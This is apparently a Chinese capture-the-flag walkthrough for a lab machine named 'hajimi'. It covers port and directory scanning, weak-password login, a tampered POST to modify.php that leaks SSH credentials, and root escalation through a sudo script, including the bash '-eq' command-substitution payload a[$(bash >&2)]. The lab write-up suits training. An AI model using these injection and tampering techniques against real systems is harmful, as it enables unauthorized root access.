hajimi

信息收集

```
arp-scan -l
rustscan -a 172.1.20.26
```

```
Open 172.1.20.26:22
Open 172.1.20.26:80
```

查看网站

```html
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8" />
    <title>欢迎来到 Hajimi 之家</title>
    <!--
        有一种拳法叫"组合拳"，xc，


    -->
    <style>
        body {
            font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
            background-color: #f9f9f9;
            margin: 0; padding: 40px;
            text-align: center;
            color: #333;
        }
        h1 {
            font-size: 3em;
            margin-bottom: 10px;
        }
        p {
            font-size: 1.2em;
            color: #555;
        }
    </style>
</head>
<body>
    <h1>欢迎来到 Hajimi 之家！</h1>

</body>
</html>
```

目前信息少，使用目录爆破工具

```
gobuster dir -u http://172.1.20.26 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js
```

获得 `login.php` 和 `comment.php`

Web 解密

login.php

弱密码

用户名： admin

密码： admin

进入后发现要求修改金额为 500

已经改过了没办法

comment.php

这是一个评论路口，开始考虑 XSS。发现不行，看到 index.html 页面的注释灵机一动~

开始获取密码

通过抓包软件构建，进行绕过

```
POST /modify.php HTTP/1.1
Host: 172.1.20.26
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Origin: http://172.1.20.26
Connection: keep-alive
Referer: http://172.1.20.26/comment.php
Cookie: PHPSESSID=[redacted]
Upgrade-Insecure-Requests: 1
Priority: u=0, i

amount=500
```

获得 user 密码

```
账号: hajimi, 密码: hajimimanbo12345
```

ssh 直接进入

cat 直接获得 user 的 flag

```
hajimi@hajimi:~$ cat user.txt
flag[user-hajimi-manbo-manbo-manbo]
```

```
1   sudo -l # 查看权限
```

```
Matching Defaults entries for hajimi on hajimi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User hajimi may run the following commands on hajimi:
    (ALL) NOPASSWD: /opt/guessgame.sh
```

发现 `/opt/guessgame.sh`

进入目录看看可不可以直接运行 `/opt/guessgame.sh`

```
1   bash guessgame.sh #不行
2   cat guessgame.sh #不行
3   # 加上sudo 还是不行
4   # 想到了另一个
5   sudo /opt/guessgame.sh
```

```
hajimi@hajimi:/opt$ sudo /opt/guessgame.sh
欢迎进入数字游戏，请从 1 开始直到100，一个一个输入数字：
请输入数字 1: 1
请输入数字 2: 2
请输入数字 3: 3
请输入数字 4: 4
请输入数字 5: 5
请输入数字 6: 6
请输入数字 7: 7
请输入数字 8: 8
请输入数字 9: 9
请输入数字 10: 10
请输入数字 11: 11
请输入数字 12: 12
请输入数字 13: 13
请输入数字 14: q
错误！游戏失败。你应该输入 14。
```

太多了没什么耐心

直接使用管道符构建命令进行连续输入

第一种(按照流程走)

```
1 ▾ printf "%s\n" {1..100} | sudo /opt/guessgame.sh
```

获得 root 密码

```
hajimi@hajimi:/opt$ printf "%s\n" {1..100} | sudo /opt/guessgame.sh
欢迎进入数字游戏，请从 1 开始直到100，一个一个输入数字：
◆◆◆◆◆◆ 恭喜你完成了整个游戏！你真有耐心！
Root 密码是：HaJimi@2025!r00t#
```

第二种（参数获得密码）

关于获得 root 密码其实还有一种方法,在获得 root 权限以后可以从源码中看到有一个 `-h` 的参数同时会提示有 `-root`

```
root@hajimi:/opt# ./guessgame.sh  -h
欢迎来到神秘数字游戏！
你需要从 1 开始，一个一个输入数字，直到 100。
也许你可以试试别的参数？比如 -root
```

```
sudo /opt/guessgame.sh -h
```

```
hajimi@hajimi:~$ sudo /opt/guessgame.sh -root
◆◆◆◆◆◆ 你找到了隐藏内容！Root 密码是：HaJimi@2025!r00t#
```

第三种方法(eq 提权)

```
a[$(bash >&2)]  #在游戏界面直接输入
```

从源码中可以获得在 `read -p` "请输入数字 `$current: " input` 和后续的 `[[ "$input" -eq "$current" ]]` 比较，处用户输入包含 $() 命令替换语法时，bash 会执行其中的命令，>&2 将 bash 子进程的标准输出重定向到标准错误。

由于脚本的权限是 root 这里会获得 root 权限

有 三 个限制条件

- 脚本必须使用 -eq 进行数字比较
- 脚本以高权限(如root)运行
- 攻击者能控制比较操作的一个操作数

```
while [[ $current -le 100 ]]; do
    read -p "请输入数字 $current: " input
    if [[ "$input" -eq "$current" ]]; then
        ((current++))
    else
        echo "错误！游戏失败。你应该输入 $current。"
        exit 1
    fi
```

> 关于 eq 提权可以参考这两个文章
>
> Bash eq Privilege Escalation | Exploit Notes
>
> Bash's white collar eval: [[$var -eq 42]] runs arbitrary code too — Vidar's Blog

登录 root

```
root@hajimi:/opt# id
uid=0(root) gid=0(root) groups=0(root)
```

进入 root 直接 cat 获得成功

```
root@hajimi:~# cat root.txt
flag{root-thanks-for-playing}
```